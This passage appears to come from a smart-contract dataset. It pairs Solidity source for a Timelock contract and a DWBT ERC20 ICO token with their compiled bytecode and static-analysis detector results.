* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
//
contract Timelock {
using SafeMath for uint;
event NewAdmin(address indexed newAdmin);
event NewPendingAdmin(address indexed newPendingAdmin);
event NewDelay(uint indexed newDelay);
event CancelTransaction(
bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta
);
event ExecuteTransaction(
bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta
);
event QueueTransaction(
bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta
);
uint public constant GRACE_PERIOD = 14 days;
uint public constant MINIMUM_DELAY = 0;
// uint public constant MINIMUM_DELAY = 12 hours;
uint public constant MAXIMUM_DELAY = 30 days;
address public admin;
address public pendingAdmin;
uint public delay;
bool public admin_initialized;
mapping(bytes32 => bool) public queuedTransactions;
constructor(address admin_, uint delay_) public {
require(delay_ >= MINIMUM_DELAY, "Timelock::constructor: Delay must exceed minimum delay.");
require(delay_ <= MAXIMUM_DELAY, "Timelock::constructor: Delay must not exceed maximum delay.");
admin = admin_;
delay = delay_;
admin_initialized = false;
}
// XXX: function() external payable { }
receive() external payable {}
function setDelay(uint delay_) public {
require(msg.sender == address(this), "Timelock::setDelay: Call must come from Timelock.");
require(delay_ >= MINIMUM_DELAY, "Timelock::setDelay: Delay must exceed minimum delay.");
require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay.");
delay = delay_;
emit NewDelay(delay);
}
function acceptAdmin() public {
require(msg.sender == pendingAdmin, "Timelock::acceptAdmin: Call must come from pendingAdmin.");
admin = msg.sender;
pendingAdmin = address(0);
emit NewAdmin(admin);
}
function setPendingAdmin(address pendingAdmin_) public {
// allows one time setting of admin for deployment purposes
if (admin_initialized) {
require(msg.sender == address(this), "Timelock::setPendingAdmin: Call must come from Timelock.");
} else {
require(msg.sender == admin, "Timelock::setPendingAdmin: First call must come from admin.");
admin_initialized = true;
}
pendingAdmin = pendingAdmin_;
emit NewPendingAdmin(pendingAdmin);
}
function queueTransaction(
address target, uint value, string memory signature, bytes memory data, uint eta
) public returns (bytes32){
require(msg.sender == admin, "Timelock::queueTransaction: Call must come from admin.");
require(
eta >= getBlockTimestamp().add(delay),
"Timelock::queueTransaction: Estimated execution block must satisfy delay."
);
bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));
queuedTransactions[txHash] = true;
emit QueueTransaction(txHash, target, value, signature, data, eta);
return txHash;
}
function cancelTransaction(
address target, uint value, string memory signature, bytes memory data, uint eta
) public {
require(msg.sender == admin, "Timelock::cancelTransaction: Call must come from admin.");
bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));
queuedTransactions[txHash] = false;
emit CancelTransaction(txHash, target, value, signature, data, eta);
}
function executeTransaction(
address target, uint value, string memory signature, bytes memory data, uint eta
) public payable returns (bytes memory) {
require(msg.sender == admin, "Timelock::executeTransaction: Call must come from admin.");
bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));
require(queuedTransactions[txHash], "Timelock::executeTransaction: Transaction hasn't been queued.");
require(getBlockTimestamp() >= eta, "Timelock::executeTransaction: Transaction hasn't surpassed time lock.");
require(getBlockTimestamp() <= eta.add(GRACE_PERIOD), "Timelock::executeTransaction: Transaction is stale.");
queuedTransactions[txHash] = false;
bytes memory callData;
if (bytes(signature).length == 0) {
callData = data;
} else {
callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data);
}
// solium-disable-next-line security/no-call-value
(bool success, bytes memory returnData) = target.call.value(value)(callData);
require(success, "Timelock::executeTransaction: Transaction execution reverted.");
emit ExecuteTransaction(txHash, target, value, signature, data, eta);
return returnData;
}
function getBlockTimestamp() internal view returns (uint) {
// solium-disable-next-line security/no-block-members
return block.timestamp;
}
}
|
0x6080604052600436106100e15760003560e01c80636fc1f57e1161007f578063c1a287e211610059578063c1a287e214610631578063e177246e14610646578063f2b0653714610670578063f851a4401461069a576100e8565b80636fc1f57e146105de5780637d645fab14610607578063b1b43ae51461061c576100e8565b80633a66f901116100bb5780633a66f901146102ea5780634dd18bf514610449578063591fcdfe1461047c5780636a42b8f8146105c9576100e8565b80630825f38f146100ed5780630e18b681146102a257806326782247146102b9576100e8565b366100e857005b600080fd5b61022d600480360360a081101561010357600080fd5b6001600160a01b0382351691602081013591810190606081016040820135600160201b81111561013257600080fd5b82018360208201111561014457600080fd5b803590602001918460018302840111600160201b8311171561016557600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b8111156101b757600080fd5b8201836020820111156101c957600080fd5b803590602001918460018302840111600160201b831117156101ea57600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092955050913592506106af915050565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561026757818101518382015260200161024f565b50505050905090810190601f1680156102945780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102ae57600080fd5b506102b7610baf565b005b3480156102c557600080fd5b506102ce610c4b565b604080516001600160a01b039092168252519081900360200190f35b3480156102f657600080fd5b50610437600480360360a081101561030d57600080fd5b6001600160a01b0382351691602081013591810190606081016040820135600160201b81111561033c57600080fd5b82018360208201111561034e57600080fd5b803590602001918460018302840111600160201b8311171561036f57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b8111156103c157600080fd5b8201836020820111156103d357600080fd5b803590602001918460018302840111600160201b831117156103f457600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295505091359250610c5a915050565b60408051918252519081900360200190f35b34801561045557600080fd5b506102b76004803603602081101561046c57600080fd5b50356001600160a01b0316610f5c565b34801561048857600080fd5b506102b7600480360360a081101561049f57600080fd5b6001600160a01b0382351691602081013591810190606081016040820135600160201b8111156104ce57600080fd5b8201836020820111156104e057600080fd5b803590602001918460018302840111600160201b8311171561050157600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b81111561055357600080fd5b82018360208201111561056557600080fd5b803590602001918460018302840111600160201b8311171561058657600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295505091359250611051915050565b3480156105d557600080fd5b506104376112fe565b3480156105ea57600080fd5b506105f3611304565b604080519115158252519081900360200190f35b34801561061357600080fd5b5061043761130d565b34801561062857600080fd5b50610437611314565b34801561063d57600080fd5b50610437611319565b34801561065257600080fd5b506102b76004803603602081101561066957600080fd5b5035611320565b34801561067c57600080fd5b506105f36004803603602081101561069357600080fd5b50356113d3565b3480156106a657600080fd5b506102ce6113e8565b6000546060906001600160a01b031633146106fb5760405162461bcd60e51b815260040180806020018281038252603881526020018061145d6038913960400191505060405180910390fd5b6000868686868660405160200180866001600160a01b031681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610761578181015183820152602001610749565b50505050905090810190601f16801561078e5780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b838110156107c15781810151838201526020016107a9565b50505050905090810190601f1680156107ee5780820380516001836020036101000a031916815260200191505b5060408051601f1981840301815291815281516020928301206000818152600490935291205490995060ff16975061085f96505050505050505760405162461bcd60e51b815260040180806020018281038252603d8152602001806115b7603d913960400191505060405180910390fd5b826108686113f7565b10156108a55760405162461bcd60e51b81526004018080602001828103825260458152602001806114ff6045913960600191505060405180910390fd5b6108b283621275006113fb565b6108ba6113f7565b11156108f75760405162461bcd60e51b81526004018080602001828103825260338152602001806114cc6033913960400191505060405180910390fd5b6000818152600460205260409020805460ff19169055845160609061091d5750836109a0565b85805190602001208560405160200180836001600160e01b031916815260040182805190602001908083835b602083106109685780518252601f199092019160209182019101610949565b6001836020036101000a0380198251168184511680821785525050505050509050019250505060405160208183030381529060405290505b60006060896001600160a01b031689846040518082805190602001908083835b602083106109df5780518252601f1990920191602091820191016109c0565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114610a41576040519150601f19603f3d011682016040523d82523d6000602084013e610a46565b606091505b509150915081610a875760405162461bcd60e51b815260040180806020018281038252603d81526020018061169a603d913960400191505060405180910390fd5b896001600160a01b0316847fa560e3198060a2f10670c1ec5b403077ea6ae93ca8de1c32b451dc1a943cd6e78b8b8b8b604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610b04578181015183820152602001610aec565b50505050905090810190601f168015610b315780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015610b64578181015183820152602001610b4c565b50505050905090810190601f168015610b915780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a39998505050505050505050565b6001546001600160a01b03163314610bf85760405162461bcd60e51b81526004018080602001828103825260388152602001806115f46038913960400191505060405180910390fd5b60008054336001600160a01b031991821617808355600180549092169091556040516001600160a01b03909116917f71614071b88dee5e0b2ae578a9dd7b2ebbe9ae832ba419dc0242cd065a290b6c91a2565b6001546001600160a01b031681565b600080546001600160a01b03163314610ca45760405162461bcd60e51b81526004018080602001828103825260368152602001806116646036913960400191505060405180910390fd5b610cb8600254610cb26113f7565b906113fb565b821015610cf65760405162461bcd60e51b81526004018080602001828103825260498152602001806116d76049913960600191505060405180910390fd5b6000868686868660405160200180866001600160a01b031681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610d5c578181015183820152602001610d44565b50505050905090810190601f168015610d895780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015610dbc578181015183820152602001610da4565b50505050905090810190601f168015610de95780820380516001836020036101000a031916815260200191505b5097505050505050505060405160208183030381529060405280519060200120905060016004600083815260200190815260200160002060006101000a81548160ff021916908315150217905550866001600160a01b0316817f76e2796dc3a81d57b0e8504b647febcbeeb5f4af818e164f11eef8131a6a763f88888888604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610eb4578181015183820152602001610e9c565b50505050905090810190601f168015610ee15780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015610f14578181015183820152602001610efc565b50505050905090810190601f168015610f415780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a39695505050505050565b60035460ff1615610faa57333014610fa55760405162461bcd60e51b815260040180806020018281038252603881526020018061162c6038913960400191505060405180910390fd5b611001565b6000546001600160a01b03163314610ff35760405162461bcd60e51b815260040180806020018281038252603b815260200180611544603b913960400191505060405180910390fd5b6003805460ff191660011790555b600180546001600160a01b0319166001600160a01b0383811691909117918290556040519116907f69d78e38a01985fbb1462961809b4b2d65531bc93b2b94037f3334b82ca4a75690600090a250565b6000546001600160a01b0316331461109a5760405162461bcd60e51b81526004018080602001828103825260378152602001806114956037913960400191505060405180910390fd5b6000858585858560405160200180866001600160a01b031681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b838110156111005781810151838201526020016110e8565b50505050905090810190601f16801561112d5780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015611160578181015183820152602001611148565b50505050905090810190601f16801561118d5780820380516001836020036101000a031916815260200191505b5097505050505050505060405160208183030381529060405280519060200120905060006004600083815260200190815260200160002060006101000a81548160ff021916908315150217905550856001600160a01b0316817f2fffc091a501fd91bfbff27141450d3acb40fb8e6d8382b243ec7a812a3aaf8787878787604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015611258578181015183820152602001611240565b50505050905090810190601f1680156112855780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b838110156112b85781810151838201526020016112a0565b50505050905090810190601f1680156112e55780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a3505050505050565b60025481565b60035460ff1681565b62278d0081565b600081565b6212750081565b33301461135e5760405162461bcd60e51b81526004018080602001828103825260318152602001806117206031913960400191505060405180910390fd5b62278d008111156113a05760405162461bcd60e51b815260040180806020018281038252603881526020018061157f6038913960400191505060405180910390fd5b600281905560405181907f948b1f6a42ee138b7e34058ba85a37f716d55ff25ff05a763f15bed6a04c8d2c90600090a250565b60046020526000908152604090205460ff1681565b6000546001600160a01b031681565b4290565b600082820183811015611455576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b939250505056fe54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a63616e63656c5472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206973207374616c652e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206861736e2774207375727061737365642074696d65206c6f636b2e54696d656c6f636b3a3a73657450656e64696e6741646d696e3a2046697273742063616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a73657444656c61793a2044656c6179206d757374206e6f7420657863656564206d6178696d756d2064656c61792e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206861736e2774206265656e207175657565642e54696d656c6f636b3a3a61636365707441646d696e3a2043616c6c206d75737420636f6d652066726f6d2070656e64696e6741646d696e2e54696d656c6f636b3a3a73657450656e64696e6741646d696e3a2043616c6c206d75737420636f6d652066726f6d2054696d656c6f636b2e54696d656c6f636b3a3a71756575655472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e20657865637574696f6e2072657665727465642e54696d656c6f636b3a3a71756575655472616e73616374696f6e3a20457374696d6174656420657865637574696f6e20626c6f636b206d75737420736174697366792064656c61792e54696d656c6f636b3a3a73657444656c61793a2043616c6c206d75737420636f6d652066726f6d2054696d656c6f636b2ea26469706673582212200455dd35083191de8a30882c05f308d09a3c724708c0295ca9e5bf5e135e144064736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 6,391 |
0x51c7706ca1088af318a88ed493bf48b540c5c03b
|
pragma solidity ^0.4.18;
// File: contracts/commons/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// File: contracts/flavours/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: contracts/flavours/Lockable.sol
/**
* @title Lockable
* @dev Base contract which allows children to
* implement main operations locking mechanism.
*/
contract Lockable is Ownable {
event Lock();
event Unlock();
bool public locked = false;
/**
* @dev Modifier to make a function callable
* only when the contract is not locked.
*/
modifier whenNotLocked() {
require(!locked);
_;
}
/**
* @dev Modifier to make a function callable
* only when the contract is locked.
*/
modifier whenLocked() {
require(locked);
_;
}
/**
* @dev called by the owner to locke, triggers locked state
*/
function lock() public onlyOwner whenNotLocked {
locked = true;
Lock();
}
/**
* @dev called by the owner
* to unlock, returns to unlocked state
*/
function unlock() public onlyOwner whenLocked {
locked = false;
Unlock();
}
}
// File: contracts/base/BaseFixedERC20Token.sol
contract BaseFixedERC20Token is Lockable {
using SafeMath for uint;
/// @dev ERC20 Total supply
uint public totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) private allowed;
/// @dev Fired if Token transfered accourding to ERC20
event Transfer(address indexed from, address indexed to, uint value);
/// @dev Fired if Token withdraw is approved accourding to ERC20
event Approval(address indexed owner, address indexed spender, uint value);
/**
* @dev Gets the balance of the specified address.
* @param owner_ The address to query the the balance of.
* @return An uint representing the amount owned by the passed address.
*/
function balanceOf(address owner_) public view returns (uint balance) {
return balances[owner_];
}
/**
* @dev Transfer token for a specified address
* @param to_ The address to transfer to.
* @param value_ The amount to be transferred.
*/
function transfer(address to_, uint value_) public whenNotLocked returns (bool) {
require(to_ != address(0) && value_ <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(value_);
balances[to_] = balances[to_].add(value_);
Transfer(msg.sender, to_, value_);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param from_ address The address which you want to send tokens from
* @param to_ address The address which you want to transfer to
* @param value_ uint the amount of tokens to be transferred
*/
function transferFrom(address from_, address to_, uint value_) public whenNotLocked returns (bool) {
require(to_ != address(0) && value_ <= balances[from_] && value_ <= allowed[from_][msg.sender]);
balances[from_] = balances[from_].sub(value_);
balances[to_] = balances[to_].add(value_);
allowed[from_][msg.sender] = allowed[from_][msg.sender].sub(value_);
Transfer(from_, to_, value_);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering.
*
* To change the approve amount you first have to reduce the addresses
* allowance to zero by calling `approve(spender_, 0)` if it is not
* already 0 to mitigate the race condition described in:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* @param spender_ The address which will spend the funds.
* @param value_ The amount of tokens to be spent.
*/
function approve(address spender_, uint value_) public whenNotLocked returns (bool) {
if (value_ != 0 && allowed[msg.sender][spender_] != 0) {
revert();
}
allowed[msg.sender][spender_] = value_;
Approval(msg.sender, spender_, value_);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner_ address The address which owns the funds.
* @param spender_ address The address which will spend the funds.
* @return A uint specifying the amount of tokens still available for the spender.
*/
function allowance(address owner_, address spender_) public view returns (uint) {
return allowed[owner_][spender_];
}
}
// File: contracts/base/BaseICOToken.sol
/**
* @dev Not mintable, ERC20 compilant token, distributed by ICO/Pre-ICO.
*/
contract BaseICOToken is BaseFixedERC20Token {
/// @dev Available supply of tokens
uint public availableSupply;
/// @dev ICO/Pre-ICO smart contract allowed to distribute public funds for this
address public ico;
/// @dev Fired if investment for `amount` of tokens performed by `to` address
event ICOTokensInvested(address indexed to, uint amount);
/// @dev ICO contract changed for this token
event ICOChanged(address indexed icoContract);
modifier onlyICO() {
require(msg.sender == ico);
_;
}
/**
* @dev Not mintable, ERC20 compilant token, distributed by ICO/Pre-ICO.
* @param totalSupply_ Total tokens supply.
*/
function BaseICOToken(uint totalSupply_) public {
locked = true;
totalSupply = totalSupply_;
availableSupply = totalSupply_;
}
/**
* @dev Set address of ICO smart-contract which controls token
* initial token distribution.
* @param ico_ ICO contract address.
*/
function changeICO(address ico_) public onlyOwner {
ico = ico_;
ICOChanged(ico);
}
/**
* @dev Assign `amount_` of tokens to investor identified by `to_` address.
* @param to_ Investor address.
* @param amount_ Number of tokens distributed.
*/
function icoInvestment(address to_, uint amount_) public onlyICO returns (uint) {
require(isValidICOInvestment(to_, amount_));
availableSupply = availableSupply.sub(amount_);
balances[to_] = balances[to_].add(amount_);
ICOTokensInvested(to_, amount_);
return amount_;
}
function isValidICOInvestment(address to_, uint amount_) internal view returns (bool) {
return to_ != address(0) && amount_ <= availableSupply;
}
}
// File: contracts/DWBTToken.sol
/**
* @title DWBT token contract.
*/
contract DWBTToken is BaseICOToken {
using SafeMath for uint;
string public constant name = "DWBT Tokens";
string public constant symbol = "DWBT";
uint8 public constant decimals = 18;
uint internal constant ONE_TOKEN = 1e18;
/// @dev Fired some tokens distributed to someone from staff,business
event ReservedTokensDistributed(address indexed to, uint8 group, uint amount);
event TokensBurned(uint amount);
function DWBTToken(uint totalSupplyTokens_,
uint companyTokens_,
uint bountyTokens_,
uint reserveTokens_) public BaseICOToken(totalSupplyTokens_ * ONE_TOKEN) {
require(availableSupply == totalSupply);
availableSupply = availableSupply
.sub(companyTokens_ * ONE_TOKEN)
.sub(bountyTokens_ * ONE_TOKEN)
.sub(reserveTokens_ * ONE_TOKEN);
reserved[RESERVED_COMPANY_GROUP] = companyTokens_ * ONE_TOKEN;
reserved[RESERVED_BOUNTY_GROUP] = bountyTokens_ * ONE_TOKEN;
reserved[RESERVED_RESERVE_GROUP] = reserveTokens_ * ONE_TOKEN;
}
// Disable direct payments
function() external payable {
revert();
}
function burnRemain() public onlyOwner {
require(availableSupply > 0);
uint burned = availableSupply;
totalSupply = totalSupply.sub(burned);
availableSupply = 0;
TokensBurned(burned);
}
// --------------- Reserve specific
uint8 public constant RESERVED_COMPANY_GROUP = 0x1;
uint8 public constant RESERVED_BOUNTY_GROUP = 0x2;
uint8 public constant RESERVED_RESERVE_GROUP = 0x4;
/// @dev Token reservation mapping: key(RESERVED_X) => value(number of tokens)
mapping(uint8 => uint) public reserved;
/**
* @dev Get reserved tokens for specific group
*/
function getReservedTokens(uint8 group_) public view returns (uint) {
return reserved[group_];
}
/**
* @dev Assign `amount_` of privately distributed tokens
* to someone identified with `to_` address.
* @param to_ Tokens owner
* @param group_ Group identifier of privately distributed tokens
* @param amount_ Number of tokens distributed with decimals part
*/
function assignReserved(address to_, uint8 group_, uint amount_) public onlyOwner {
require(to_ != address(0) && (group_ & 0x7) != 0);
// SafeMath will check reserved[group_] >= amount
reserved[group_] = reserved[group_].sub(amount_);
balances[to_] = balances[to_].add(amount_);
ReservedTokensDistributed(to_, group_, amount_);
}
}
|
0x6060604052600436106101485763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde03811461014d57806308612c35146101d7578063095ea7b3146102025780631019635d1461023857806318160ddd1461026257806323b872dd146102755780632a8f368b1461029d5780632ee551bf146102c6578063313ce567146102d95780635d452201146102ec5780636d47fb711461031b57806370a082311461033a5780637277236b146103595780637ecc2b561461037b5780638da5cb5b1461038e57806395d89b41146103a157806397ab4786146103b45780639e0112b8146103cd578063a69df4b5146103e0578063a9059cbb146103f3578063b314a98414610415578063cf30901214610428578063dd62ed3e1461043b578063f2fde38b14610460578063f83d08ba1461047f575b600080fd5b341561015857600080fd5b610160610492565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561019c578082015183820152602001610184565b50505050905090810190601f1680156101c95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101e257600080fd5b6101f060ff600435166104c9565b60405190815260200160405180910390f35b341561020d57600080fd5b610224600160a060020a03600435166024356104de565b604051901515815260200160405180910390f35b341561024357600080fd5b610260600160a060020a036004351660ff602435166044356105ad565b005b341561026d57600080fd5b6101f06106ae565b341561028057600080fd5b610224600160a060020a03600435811690602435166044356106b4565b34156102a857600080fd5b6102b061085d565b60405160ff909116815260200160405180910390f35b34156102d157600080fd5b6102b0610862565b34156102e457600080fd5b6102b0610867565b34156102f757600080fd5b6102ff61086c565b604051600160a060020a03909116815260200160405180910390f35b341561032657600080fd5b610260600160a060020a036004351661087b565b341561034557600080fd5b6101f0600160a060020a03600435166108f4565b341561036457600080fd5b6101f0600160a060020a036004351660243561090f565b341561038657600080fd5b6101f06109d9565b341561039957600080fd5b6102ff6109df565b34156103ac57600080fd5b6101606109ee565b34156103bf57600080fd5b6101f060ff60043516610a25565b34156103d857600080fd5b6102b0610a37565b34156103eb57600080fd5b610260610a3c565b34156103fe57600080fd5b610224600160a060020a0360043516602435610acc565b341561042057600080fd5b610260610bef565b341561043357600080fd5b610224610c70565b341561044657600080fd5b6101f0600160a060020a0360043581169060243516610c91565b341561046b57600080fd5b610260600160a060020a0360043516610cbc565b341561048a57600080fd5b610260610d57565b60408051908101604052600b81527f4457425420546f6b656e73000000000000000000000000000000000000000000602082015281565b60ff1660009081526006602052604090205490565b6000805474010000000000000000000000000000000000000000900460ff161561050757600080fd5b811580159061053a5750600160a060020a0333811660009081526003602090815260408083209387168352929052205415155b1561054457600080fd5b600160a060020a03338116600081815260036020908152604080832094881680845294909152908190208590557f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60005433600160a060020a039081169116146105c857600080fd5b600160a060020a038316158015906105e257506007821615155b15156105ed57600080fd5b60ff8216600090815260066020526040902054610610908263ffffffff610dfd16565b60ff8316600090815260066020908152604080832093909355600160a060020a038616825260029052205461064b908263ffffffff610e0f16565b600160a060020a0384166000818152600260205260409081902092909255907f9b25e6f19951830b3dbcfcd62be59f689237a770339d40af72e2380fc4042fe490849084905160ff909216825260208201526040908101905180910390a2505050565b60015481565b6000805474010000000000000000000000000000000000000000900460ff16156106dd57600080fd5b600160a060020a0383161580159061070d5750600160a060020a0384166000908152600260205260409020548211155b801561073f5750600160a060020a03808516600090815260036020908152604080832033909416835292905220548211155b151561074a57600080fd5b600160a060020a038416600090815260026020526040902054610773908363ffffffff610dfd16565b600160a060020a0380861660009081526002602052604080822093909355908516815220546107a8908363ffffffff610e0f16565b600160a060020a038085166000908152600260209081526040808320949094558783168252600381528382203390931682529190915220546107f0908363ffffffff610dfd16565b600160a060020a03808616600081815260036020908152604080832033861684529091529081902093909355908516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b600181565b600281565b601281565b600554600160a060020a031681565b60005433600160a060020a0390811691161461089657600080fd5b6005805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a038381169190911791829055167ff75d34bb42a98ed9c96ce1821b7834a59d12693611bf4fe2776dae6d512d6d1460405160405180910390a250565b600160a060020a031660009081526002602052604090205490565b60055460009033600160a060020a0390811691161461092d57600080fd5b6109378383610e25565b151561094257600080fd5b600454610955908363ffffffff610dfd16565b600455600160a060020a038316600090815260026020526040902054610981908363ffffffff610e0f16565b600160a060020a0384166000818152600260205260409081902092909255907fb34195a3d0de1e5150c8bbe5f5163b622b1ed771ce55319230906552a62160649084905190815260200160405180910390a250919050565b60045481565b600054600160a060020a031681565b60408051908101604052600481527f4457425400000000000000000000000000000000000000000000000000000000602082015281565b60066020526000908152604090205481565b600481565b60005433600160a060020a03908116911614610a5757600080fd5b60005474010000000000000000000000000000000000000000900460ff161515610a8057600080fd5b6000805474ff0000000000000000000000000000000000000000191690557f70e3fffea7bbb557facdee48ed7f7af5179030adef9ad0c876df039a718f359e60405160405180910390a1565b6000805474010000000000000000000000000000000000000000900460ff1615610af557600080fd5b600160a060020a03831615801590610b255750600160a060020a0333166000908152600260205260409020548211155b1515610b3057600080fd5b600160a060020a033316600090815260026020526040902054610b59908363ffffffff610dfd16565b600160a060020a033381166000908152600260205260408082209390935590851681522054610b8e908363ffffffff610e0f16565b600160a060020a0380851660008181526002602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a350600192915050565b6000805433600160a060020a03908116911614610c0b57600080fd5b60045460009011610c1b57600080fd5b50600454600154610c32908263ffffffff610dfd16565b60015560006004557f6ef4855b666dcc7884561072e4358b28dfe01feb1b7f4dcebc00e62d50394ac78160405190815260200160405180910390a150565b60005474010000000000000000000000000000000000000000900460ff1681565b600160a060020a03918216600090815260036020908152604080832093909416825291909152205490565b60005433600160a060020a03908116911614610cd757600080fd5b600160a060020a0381161515610cec57600080fd5b600054600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60005433600160a060020a03908116911614610d7257600080fd5b60005474010000000000000000000000000000000000000000900460ff1615610d9a57600080fd5b6000805474ff00000000000000000000000000000000000000001916740100000000000000000000000000000000000000001790557f46620e39f4e119bf05f13544f8ef38338fc06c17f6b731c7f95bee356572db9660405160405180910390a1565b600082821115610e0957fe5b50900390565b600082820183811015610e1e57fe5b9392505050565b6000600160a060020a03831615801590610e1e5750506004549011159190505600a165627a7a72305820feb239a39d773412a33eb77d58324437c78279c567df03da560c794d2c9083bf0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 6,392 |
0x667053bb39c2834002e13659fa310b585a6fb877
|
/**
